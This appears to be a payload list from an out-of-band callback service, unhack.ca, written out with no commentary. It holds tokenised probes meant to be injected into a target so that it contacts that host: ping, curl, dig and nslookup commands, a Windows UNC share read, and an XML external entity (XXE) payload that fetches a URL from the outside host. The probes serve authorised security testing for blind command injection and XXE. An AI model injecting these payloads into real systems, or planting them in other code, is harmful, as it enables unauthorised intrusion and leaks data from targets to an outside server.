$ ping -c1 -p 0022f2d10dcf84be4435e4f09360c300 unhack.ca
 

$ curl http://unhack.ca/p/22f2d10dcf84be4435e4f09360c3
 

$ dig 22f2d10dcf84be4435e4f09360c3 @unhack.ca
 

$ dig 22f2d10dcf84be4435e4f09360c3.ns.unhack.ca
 

C:\> nslookup 22f2d10dcf84be4435e4f09360c3 unhack.ca
 

C:\> type \\unhack.ca\22f2d10dcf84be4435e4f09360c3\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/22f2d10dcf84be4435e4f09360c3">]>
    <foo>&xxe;</foo>